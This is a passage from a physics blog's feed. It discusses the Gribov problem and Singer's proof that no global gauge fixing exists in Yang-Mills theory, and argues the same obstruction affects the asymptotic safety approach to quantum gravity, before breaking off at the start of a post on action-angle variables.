  315. <p>&#8220;Really,&#8221; what we would like to do is integrate over <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x0212C;</mi></mrow><annotation encoding='application/x-tex'>\mathcal{B}</annotation></semantics></math>. In practice, what we actually do is <em>fix a gauge</em> and integrate over actual connections (rather than equivalence classes thereof). We could, for instance, choose <em>background field gauge</em>. Pick a fiducial connection, <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mover><mi>A</mi><mo>&#x000AF;</mo></mover></mrow><annotation encoding='application/x-tex'>\overline{A}</annotation></semantics></math>, on <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>P</mi></mrow><annotation encoding='application/x-tex'>P</annotation></semantics></math>, and parametrize any other connection
  316. <math xmlns='http://www.w3.org/1998/Math/MathML' display='block'><semantics><mrow><mi>A</mi><mo>=</mo><mover><mi>A</mi><mo>&#x000AF;</mo></mover><mo>+</mo><mi>Q</mi></mrow><annotation encoding='application/x-tex'>
  317. A= \overline{A}+Q
  318. </annotation></semantics></math>
  319. with <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>Q</mi></mrow><annotation encoding='application/x-tex'>Q</annotation></semantics></math> a <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x1D524;</mi></mrow><annotation encoding='application/x-tex'>\mathfrak{g}</annotation></semantics></math>-valued 1-form on <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>M</mi></mrow><annotation encoding='application/x-tex'>M</annotation></semantics></math>. Background field gauge is </p>
  320.  
  321. <div class="numberedEq" id="e2833:bfg"><span>(1)</span><math xmlns='http://www.w3.org/1998/Math/MathML' display='block'><semantics><mrow><msub><mi>D</mi> <mover><mi>A</mi><mo>&#x000AF;</mo></mover></msub><mo>*</mo><mi>Q</mi><mo>=</mo><mn>0</mn></mrow><annotation encoding='application/x-tex'>D_{\overline{A}}* Q = 0
  322. </annotation></semantics></math></div>
  323.  
  324. <p>which picks out a linear subspace <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x1D4AC;</mi><mo>&#x02282;</mo><mi>&#x1D49C;</mi></mrow><annotation encoding='application/x-tex'>\mathcal{Q}\subset\mathcal{A}</annotation></semantics></math>. The hope is that this subspace is transverse to the orbits of <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x1D4A2;</mi></mrow><annotation encoding='application/x-tex'>\mathcal{G}</annotation></semantics></math>, and intersects each orbit precisely once. If so, then we can do the path integral by integrating<sup><a href="#GribovF1">1</a></sup> over <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x1D4AC;</mi></mrow><annotation encoding='application/x-tex'>\mathcal{Q}</annotation></semantics></math>. That is, <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x1D4AC;</mi></mrow><annotation encoding='application/x-tex'>\mathcal{Q}</annotation></semantics></math> is the image of a global section of the principal <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x1D4A2;</mi></mrow><annotation encoding='application/x-tex'>\mathcal{G}</annotation></semantics></math>-bundle, <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x1D49C;</mi><mo>&#x02192;</mo><mi>&#x0212C;</mi></mrow><annotation encoding='application/x-tex'>\mathcal{A}\to \mathcal{B}</annotation></semantics></math> and integrating over <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x0212C;</mi></mrow><annotation encoding='application/x-tex'>\mathcal{B}</annotation></semantics></math> is equivalent to integrating over its image, <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x1D4AC;</mi></mrow><annotation encoding='application/x-tex'>\mathcal{Q}</annotation></semantics></math>.</p>
  325.  
  326. <p>What Gribov found (in a Coulomb-type gauge) is that <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x1D4AC;</mi></mrow><annotation encoding='application/x-tex'>\mathcal{Q}</annotation></semantics></math> intersects a given gauge orbit more than once. Singer explained that this is not some accident of Coulomb gauge. The bundle <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x1D49C;</mi><mo>&#x02192;</mo><mi>&#x0212C;</mi></mrow><annotation encoding='application/x-tex'>\mathcal{A}\to \mathcal{B}</annotation></semantics></math> is nontrivial and no global gauge choice (section) <em>exists</em>.</p>
  327.  
  328. <p>A small technical point: <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x1D4A2;</mi></mrow><annotation encoding='application/x-tex'>\mathcal{G}</annotation></semantics></math> doesn&#8217;t act freely on <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x1D49C;</mi></mrow><annotation encoding='application/x-tex'>\mathcal{A}</annotation></semantics></math>. Except for the case<sup><a href="#GribovF2">2</a></sup> <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>G</mi><mo>=</mo><mi>SU</mi><mo stretchy="false">(</mo><mn>2</mn><mo stretchy="false">)</mo></mrow><annotation encoding='application/x-tex'>G=SU(2)</annotation></semantics></math>, there are <em>reducible connections</em>, which are fixed by a subgroup of <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x1D4A2;</mi></mrow><annotation encoding='application/x-tex'>\mathcal{G}</annotation></semantics></math>. Because of the presence of reducible connections, we should interpret <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x0212C;</mi></mrow><annotation encoding='application/x-tex'>\mathcal{B}</annotation></semantics></math> as a <em>stack</em>. However, to prove the nontriviality, we don&#8217;t need to venture into the stacky world; it suffices to consider the irreducible connections, <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msub><mi>&#x1D49C;</mi> <mn>0</mn></msub><mo>&#x02282;</mo><mi>&#x1D49C;</mi></mrow><annotation encoding='application/x-tex'>\mathcal{A}_0\subset \mathcal{A}</annotation></semantics></math>, on which <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x1D4A2;</mi></mrow><annotation encoding='application/x-tex'>\mathcal{G}</annotation></semantics></math> acts freely. We then have <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msub><mi>&#x1D49C;</mi> <mn>0</mn></msub><mo>&#x02192;</mo><msub><mi>&#x0212C;</mi> <mn>0</mn></msub></mrow><annotation encoding='application/x-tex'>\mathcal{A}_0\to \mathcal{B}_0</annotation></semantics></math> of which <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x1D4A2;</mi></mrow><annotation encoding='application/x-tex'>\mathcal{G}</annotation></semantics></math> acts freely on the fibers. If we <em>were</em> able to find a global section of <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msub><mi>&#x1D49C;</mi> <mn>0</mn></msub><mo>&#x02192;</mo><msub><mi>&#x0212C;</mi> <mn>0</mn></msub></mrow><annotation encoding='application/x-tex'>\mathcal{A}_0\to \mathcal{B}_0</annotation></semantics></math>, then we would have established
  329. <math xmlns='http://www.w3.org/1998/Math/MathML' display='block'><semantics><mrow><msub><mi>&#x1D49C;</mi> <mn>0</mn></msub><mo>&#x02245;</mo><msub><mi>&#x0212C;</mi> <mn>0</mn></msub><mo>&#x000D7;</mo><mi>&#x1D4A2;</mi></mrow><annotation encoding='application/x-tex'>
  330.   \mathcal{A}_0\cong \mathcal{B}_0\times \mathcal{G}
  331. </annotation></semantics></math>
  332. But Singer proves that </p>
  333.  
  334. <ol>
  335. <li><math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msub><mi>&#x003C0;</mi> <mi>k</mi></msub><mo stretchy="false">(</mo><msub><mi>&#x1D49C;</mi> <mn>0</mn></msub><mo stretchy="false">)</mo><mo>=</mo><mn>0</mn><mo>,</mo><mspace width="thinmathspace"/><mo>&#x02200;</mo><mi>k</mi><mo>&gt;</mo><mn>0</mn></mrow><annotation encoding='application/x-tex'>\pi_k(\mathcal{A}_0)=0,\,\forall k\gt 0</annotation></semantics></math>. But</li>
  336. <li><math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msub><mi>&#x003C0;</mi> <mi>k</mi></msub><mo stretchy="false">(</mo><mi>&#x1D4A2;</mi><mo stretchy="false">)</mo><mo>&#x02260;</mo><mn>0</mn></mrow><annotation encoding='application/x-tex'>\pi_k(\mathcal{G})\neq 0</annotation></semantics></math> for some <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>k</mi><mo>&gt;</mo><mn>0</mn></mrow><annotation encoding='application/x-tex'>k\gt 0</annotation></semantics></math>.</li>
  337. </ol>
  338.  
  339. <p>Hence
  340. <math xmlns='http://www.w3.org/1998/Math/MathML' display='block'><semantics><mrow><msub><mi>&#x1D49C;</mi> <mn>0</mn></msub><mo>&#x02247;</mo><msub><mi>&#x0212C;</mi> <mn>0</mn></msub><mo>&#x000D7;</mo><mi>&#x1D4A2;</mi></mrow><annotation encoding='application/x-tex'>
  341.   \mathcal{A}_0\ncong \mathcal{B}_0\times \mathcal{G}
  342. </annotation></semantics></math>
  343. and no global gauge choice is possible.</p>
  344.  
  345. <p>What does this mean for Yang-Mills Theory?</p>
  346.  
  347. <ul>
  348. <li>If we&#8217;re working on the lattice, then <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x1D4A2;</mi><mo>=</mo><msup><mi>G</mi> <mi>N</mi></msup></mrow><annotation encoding='application/x-tex'>\mathcal{G}= G^N</annotation></semantics></math>, where <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>N</mi></mrow><annotation encoding='application/x-tex'>N</annotation></semantics></math> is the number of lattice sites. We can choose <em>not</em> to fix a gauge and instead divide our answers by <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>Vol</mi><mo stretchy="false">(</mo><mi>G</mi><msup><mo stretchy="false">)</mo> <mi>N</mi></msup></mrow><annotation encoding='application/x-tex'>Vol(G)^N</annotation></semantics></math>, which is finite. That is what is conventionally done.</li>
  349. <li>In perturbation theory, of course, you never see any of this, because you are just working locally on <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x0212C;</mi></mrow><annotation encoding='application/x-tex'>\mathcal{B}</annotation></semantics></math>.</li>
  350. <li>If we&#8217;re working in the continuum, and we&#8217;re trying to do something non-perturbative, then we just have to work harder. <em>Locally</em> on <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x0212C;</mi></mrow><annotation encoding='application/x-tex'>\mathcal{B}</annotation></semantics></math>, we can always choose a gauge (any principal <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x1D4A2;</mi></mrow><annotation encoding='application/x-tex'>\mathcal{G}</annotation></semantics></math>-bundle is locally-trivial). On different patches of <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x0212C;</mi></mrow><annotation encoding='application/x-tex'>\mathcal{B}</annotation></semantics></math>, we&#8217;ll have to choose different gauges, do the path integral on each patch, and then piece together our answers on patch overlaps using partitions of unity. This sounds like a pain, but it&#8217;s really no different from what <em>anyone</em> has to do when doing integration on manifolds.</li>
  351. </ul>
  352.  
  353. <h3>Gravity</h3>
  354.  
  355. <p>The Asymptotic Freedom people want to do the path-integral over metrics and search for a <abbr title="UltraViolet">UV</abbr> fixed point. As above, they work in Euclidean signature, with <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>M</mi><mo>=</mo><msup><mi>S</mi> <mn>4</mn></msup></mrow><annotation encoding='application/x-tex'>M=S^4</annotation></semantics></math>. Let <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x02133;&#x0212F;&#x1D4C9;</mi></mrow><annotation encoding='application/x-tex'>\mathcal{Met}</annotation></semantics></math> be the space of all metrics on <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>M</mi></mrow><annotation encoding='application/x-tex'>M</annotation></semantics></math>, <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x1D49F;&#x1D4BE;&#x1D4BB;&#x1D4BB;</mi></mrow><annotation encoding='application/x-tex'>\mathcal{Diff}</annotation></semantics></math> the group of diffeomorphism, and <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x0212C;</mi><mo>=</mo><mi>&#x02133;&#x0212F;&#x1D4C9;</mi><mo stretchy="false">/</mo><mi>&#x1D49F;&#x1D4BE;&#x1D4BB;&#x1D4BB;</mi></mrow><annotation encoding='application/x-tex'>\mathcal{B}= \mathcal{Met}/\mathcal{Diff}</annotation></semantics></math> the space of metrics on <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>M</mi></mrow><annotation encoding='application/x-tex'>M</annotation></semantics></math> modulo diffeomorphisms.</p>
  356.  
  357. <p>Pick a (fixed, but arbitrary) fiducial metric, <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mover><mi>g</mi><mo>&#x000AF;</mo></mover></mrow><annotation encoding='application/x-tex'>\overline{g}</annotation></semantics></math>, on <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msup><mi>S</mi> <mn>4</mn></msup></mrow><annotation encoding='application/x-tex'>S^4</annotation></semantics></math>. Any metric, <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>g</mi></mrow><annotation encoding='application/x-tex'>g</annotation></semantics></math>, can be written as
  358. <math xmlns='http://www.w3.org/1998/Math/MathML' display='block'><semantics><mrow><msub><mi>g</mi> <mrow><mi>&#x003BC;</mi><mi>&#x003BD;</mi></mrow></msub><mo>=</mo><msub><mover><mi>g</mi><mo>&#x000AF;</mo></mover> <mrow><mi>&#x003BC;</mi><mi>&#x003BD;</mi></mrow></msub><mo>+</mo><msub><mi>h</mi> <mrow><mi>&#x003BC;</mi><mi>&#x003BD;</mi></mrow></msub></mrow><annotation encoding='application/x-tex'>
  359.   g_{\mu\nu} = \overline{g}_{\mu\nu}+ h_{\mu\nu}
  360. </annotation></semantics></math>
  361. They use background field gauge,</p>
  362.  
  363. <div class="numberedEq" id="e2833:bfgh"><span>(2)</span><math xmlns='http://www.w3.org/1998/Math/MathML' display='block'><semantics><mrow><msup><mover><mo>&#x02207;</mo><mo>&#x000AF;</mo></mover> <mi>&#x003BC;</mi></msup><msub><mi>h</mi> <mrow><mi>&#x003BC;</mi><mi>&#x003BD;</mi></mrow></msub><mo>&#x02212;</mo><mstyle displaystyle="false"><mfrac><mn>1</mn><mn>2</mn></mfrac></mstyle><msub><mover><mo>&#x02207;</mo><mo>&#x000AF;</mo></mover> <mi>&#x003BD;</mi></msub><mo stretchy="false">(</mo><mmultiscripts><mi>h</mi><none/> <mi>&#x003BC;</mi> <mi>&#x003BC;</mi> <none/></mmultiscripts><mo stretchy="false">)</mo><mo>=</mo><mn>0</mn></mrow><annotation encoding='application/x-tex'>\overline{\nabla}^\mu h_{\mu\nu}&#x2d;\tfrac{1}{2}\overline{\nabla}_\nu(\tensor{h}{^\mu_\mu}) = 0
  364. </annotation></semantics></math></div>
  365.  
  366. <p>where <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mover><mo>&#x02207;</mo><mo>&#x000AF;</mo></mover></mrow><annotation encoding='application/x-tex'>\overline{\nabla}</annotation></semantics></math> is the Levi-Cevita connection for <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mover><mi>g</mi><mo>&#x000AF;</mo></mover></mrow><annotation encoding='application/x-tex'>\overline{g}</annotation></semantics></math>, and indices are raised and lowered using <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mover><mi>g</mi><mo>&#x000AF;</mo></mover></mrow><annotation encoding='application/x-tex'>\overline{g}</annotation></semantics></math>. As before, (<a href="#e2833:bfgh">2</a>) defines a subspace <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x1D4AC;</mi><mo>&#x02282;</mo><mi>&#x02133;&#x0212F;&#x1D4C9;</mi></mrow><annotation encoding='application/x-tex'>\mathcal{Q}\subset  \mathcal{Met}</annotation></semantics></math>. If it happens to be true that <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x1D4AC;</mi></mrow><annotation encoding='application/x-tex'>\mathcal{Q}</annotation></semantics></math> is everywhere transverse to the orbits of <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x1D49F;&#x1D4BE;&#x1D4BB;&#x1D4BB;</mi></mrow><annotation encoding='application/x-tex'>\mathcal{Diff}</annotation></semantics></math> and meets every <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x1D49F;&#x1D4BE;&#x1D4BB;&#x1D4BB;</mi></mrow><annotation encoding='application/x-tex'>\mathcal{Diff}</annotation></semantics></math> orbit precisely once, then we can imagine doing the path integral over <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x1D4AC;</mi></mrow><annotation encoding='application/x-tex'>\mathcal{Q}</annotation></semantics></math> instead of over <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x0212C;</mi></mrow><annotation encoding='application/x-tex'>\mathcal{B}</annotation></semantics></math>.</p>
  367.  
  368. <p>In addition to the <a href="https://golem.ph.utexas.edu/~distler/blog/archives/001585.html">other problems</a> with the asymptotic safety program (the most <a href="https://golem.ph.utexas.edu/~distler/blog/archives/001585.html#c049183">grievous of which</a> is that the infrared regulator used to define <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msub><mi>&#x00393;</mi> <mi>k</mi></msub><mo stretchy="false">(</mo><mover><mi>g</mi><mo>&#x000AF;</mo></mover><mo stretchy="false">)</mo></mrow><annotation encoding='application/x-tex'>\Gamma_k(\overline{g})</annotation></semantics></math> is not <abbr title="Becchi-Rouet-Stora-Tyutin">BRST</abbr>-invariant, which means that their prescription doesn&#8217;t even give the right path-integral measure <em>locally</em> on <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x1D4AC;</mi></mrow><annotation encoding='application/x-tex'>\mathcal{Q}</annotation></semantics></math>), the program is saddled with the same Gribov problem that we just discussed for gauge theory, namely that there <em>is no</em> global section of <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x02133;&#x0212F;&#x1D4C9;</mi><mo>&#x02192;</mo><mi>&#x0212C;</mi></mrow><annotation encoding='application/x-tex'>\mathcal{Met}\to\mathcal{B}</annotation></semantics></math>, and hence no global choice of gauge, along the lines of (<a href="#e2833:bfgh">2</a>).</p>
  369.  
  370. <p>As in the gauge theory case, let <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msub><mi>&#x02133;&#x0212F;&#x1D4C9;</mi> <mn>0</mn></msub></mrow><annotation encoding='application/x-tex'>\mathcal{Met}_0</annotation></semantics></math> be the metrics with no isometries<sup><a href="#GribovF3">3</a></sup>. <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x1D49F;&#x1D4BE;&#x1D4BB;&#x1D4BB;</mi></mrow><annotation encoding='application/x-tex'>\mathcal{Diff}</annotation></semantics></math> acts freely on the fibers of <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msub><mi>&#x02133;&#x0212F;&#x1D4C9;</mi> <mn>0</mn></msub><mo>&#x02192;</mo><msub><mi>&#x0212C;</mi> <mn>0</mn></msub></mrow><annotation encoding='application/x-tex'>\mathcal{Met}_0\to \mathcal{B}_0</annotation></semantics></math>. Back in his 1978 paper, Singer already noted that</p>
  371.  
  372. <ol>
  373. <li><math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msub><mi>&#x003C0;</mi> <mi>k</mi></msub><mo stretchy="false">(</mo><msub><mi>&#x02133;&#x0212F;&#x1D4C9;</mi> <mn>0</mn></msub><mo stretchy="false">)</mo><mo>=</mo><mn>0</mn><mo>,</mo><mspace width="thinmathspace"/><mo>&#x02200;</mo><mi>k</mi><mo>&gt;</mo><mn>0</mn></mrow><annotation encoding='application/x-tex'>\pi_k(\mathcal{Met}_0)=0,\,\forall k\gt 0</annotation></semantics></math>, but</li>
  374. <li><math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x1D49F;&#x1D4BE;&#x1D4BB;&#x1D4BB;</mi></mrow><annotation encoding='application/x-tex'>\mathcal{Diff}</annotation></semantics></math> has quite complicated homotopy-type.</li>
  375. </ol>
  376.  
  377. <p>Of course, none of this matters perturbatively. When <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>h</mi></mrow><annotation encoding='application/x-tex'>h</annotation></semantics></math> is small, i.e. for <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>g</mi></mrow><annotation encoding='application/x-tex'>g</annotation></semantics></math> close to <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mover><mi>g</mi><mo>&#x000AF;</mo></mover></mrow><annotation encoding='application/x-tex'>\overline{g}</annotation></semantics></math>, (<a href="#e2833:bfgh">2</a>) is a perfectly good gauge choice. But the claim of the Asymptotic Safety people is that they are doing a non-perturbative computation of the <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x003B2;</mi></mrow><annotation encoding='application/x-tex'>\beta</annotation></semantics></math>-functional, and that <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>h</mi></mrow><annotation encoding='application/x-tex'>h</annotation></semantics></math> is not assumed to be small. Just as in gauge theory, there is no global gauge choice (whether (<a href="#e2833:bfgh">2</a>) or otherwise). And that should <em>matter</em> to their analysis.</p>
  378.  
  379. <hr />
  380.  
  381. <p><strong>Note:</strong> Since someone will surely ask, let me explain the situation in the Polyakov string. There, the gauge group isn&#8217;t <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x1D49F;&#x1D4BE;&#x1D4BB;&#x1D4BB;</mi></mrow><annotation encoding='application/x-tex'>\mathcal{Diff}</annotation></semantics></math>, but rather the larger group, <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x1D4A2;</mi><mo>=</mo><mi>&#x1D49F;&#x1D4BE;&#x1D4BB;&#x1D4BB;</mi><mo>&#x022C9;</mo><mtext>Weyl</mtext></mrow><annotation encoding='application/x-tex'>\mathcal{G}= \mathcal{Diff}\ltimes \text{Weyl}</annotation></semantics></math>. And we only do a partial gauge-fixing: we don&#8217;t demand a metric, but rather only a Weyl equivalence-class of metrics. That is, we demand a section of <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x02133;&#x0212F;&#x1D4C9;</mi><mo stretchy="false">/</mo><mtext>Weyl</mtext><mo>&#x02192;</mo><mi>&#x02133;&#x0212F;&#x1D4C9;</mi><mo stretchy="false">/</mo><mi>&#x1D4A2;</mi></mrow><annotation encoding='application/x-tex'>\mathcal{Met}/\text{Weyl} \to \mathcal{Met}/\mathcal{G}</annotation></semantics></math>. And that <em>can</em> be done: in <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>d</mi><mo>=</mo><mn>2</mn></mrow><annotation encoding='application/x-tex'>d=2</annotation></semantics></math>, every metric is diffeomorphic to a Weyl-rescaling of a constant-curvature metric.</p>
  382.  
  383. <hr />
  384.  
  385. <div id="GribovF1" class="footnote"><p><sup>1</sup> To get the right measure on <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x1D4AC;</mi></mrow><annotation encoding='application/x-tex'>\mathcal{Q}</annotation></semantics></math>, we need to use the Fadeev-Popov trick. But, as long as <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x1D4AC;</mi></mrow><annotation encoding='application/x-tex'>\mathcal{Q}</annotation></semantics></math> is transverse to the gauge orbits, that&#8217;s all fine, and the prescription can be found in any textbook.</p></div>
  386.  
  387. <div id="GribovF2" class="footnote"><p><sup>2</sup> For more general choice of <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>M</mi></mrow><annotation encoding='application/x-tex'>M</annotation></semantics></math>, we would also have to require <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msup><mi>H</mi> <mn>2</mn></msup><mo stretchy="false">(</mo><mi>M</mi><mo>,</mo><mi>&#x02124;</mi><mo stretchy="false">)</mo><mo>=</mo><mn>0</mn></mrow><annotation encoding='application/x-tex'>H^2(M,\mathbb{Z})=0</annotation></semantics></math>.</p></div>
  388.  
  389. <div id="GribovF3" class="footnote"><p><sup>3</sup> When <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>dim</mi><mo stretchy="false">(</mo><mi>M</mi><mo stretchy="false">)</mo><mo>&gt;</mo><mn>1</mn></mrow><annotation encoding='application/x-tex'>dim(M)\gt 1</annotation></semantics></math>, <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msub><mi>&#x02133;&#x0212F;&#x1D4C9;</mi> <mn>0</mn></msub><mo stretchy="false">(</mo><mi>M</mi><mo stretchy="false">)</mo></mrow><annotation encoding='application/x-tex'>\mathcal{Met}_0(M)</annotation></semantics></math> is dense in <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x02133;&#x0212F;&#x1D4C9;</mi><mo stretchy="false">(</mo><mi>M</mi><mo stretchy="false">)</mo></mrow><annotation encoding='application/x-tex'>\mathcal{Met}(M)</annotation></semantics></math>. But for <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>dim</mi><mo stretchy="false">(</mo><mi>M</mi><mo stretchy="false">)</mo><mo>=</mo><mn>1</mn></mrow><annotation encoding='application/x-tex'>dim(M)=1</annotation></semantics></math>, <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><msub><mi>&#x02133;&#x0212F;&#x1D4C9;</mi> <mn>0</mn></msub><mo>=</mo><mi>&#x02205;</mi></mrow><annotation encoding='application/x-tex'>\mathcal{Met}_0=\emptyset</annotation></semantics></math>. In that case, we actually <em>can</em> choose a global section of <math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><semantics><mrow><mi>&#x02133;&#x0212F;&#x1D4C9;</mi><mo stretchy="false">(</mo><msup><mi>S</mi> <mn>1</mn></msup><mo stretchy="false">)</mo><mo>&#x02192;</mo><mi>&#x02133;&#x0212F;&#x1D4C9;</mi><mo stretchy="false">(</mo><msup><mi>S</mi> <mn>1</mn></msup><mo stretchy="false">)</mo><mo stretchy="false">/</mo><mi>&#x1D49F;&#x1D4BE;&#x1D4BB;&#x1D4BB;</mi><mo stretchy="false">(</mo><msup><mi>S</mi> <mn>1</mn></msup><mo stretchy="false">)</mo></mrow><annotation encoding='application/x-tex'>\mathcal{Met}(S^1) \to \mathcal{Met}(S^1)/\mathcal{Diff}(S^1)</annotation></semantics></math>. </p></div>
  390.  
  391.      </div>
  392.    </content>
  393.  </entry>
  394.  <entry>
  395.    <title type="html">Action-Angle Variables</title>
  396.    <link rel="alternate" type="application/xhtml+xml" href="https://golem.ph.utexas.edu/~distler/blog/archives/002823.html" />
  397.    <updated>2015-05-13T00:38:11Z</updated>
  398.    <published>2015-05-12T11:49:11-06:00</published>
  399.    <id>tag:golem.ph.utexas.edu,2015:%2F~distler%2Fblog%2F1.2823</id>
  400.    <summary type="text">How to generalize the construction of action-angle variables to symplectic manifolds which are not cotagent bundles?</summary>
  401.    <author>
  402.      <name>distler</name>
  403.      <uri>https://golem.ph.utexas.edu/~distler/blog/</uri>
  404.      <email>[email protected]</email>
  405.    </author>
  406.    <category term="Physics" />
  407.    <content type="xhtml" xml:base="https://golem.ph.utexas.edu/~distler/blog/archives/002823.html">
  408.      <div xmlns="http://www.w3.org/1999/xhtml">
  409. <div><a href="http://golem.ph.utexas.edu/~distler/blog/mathml.html"><img class="mathlogo" src="https://golem.ph.utexas.edu/~distler/blog/images/MathML.png" alt="MathML-enabled post (click for more details)." title="MathML-enabled post (click for details)." /></a></div>
  410.  
  411. <p>This semester, I taught the Graduate Mechanics course. As is often the case, teaching a subject leads you to rethink that you <em>thought</em> you understood, sometimes with surprising results.</p>
  412.  
  413. <p>The subject for today&#8217;s homily is <em>Action-Angle</em> variables.</p>
  414.  
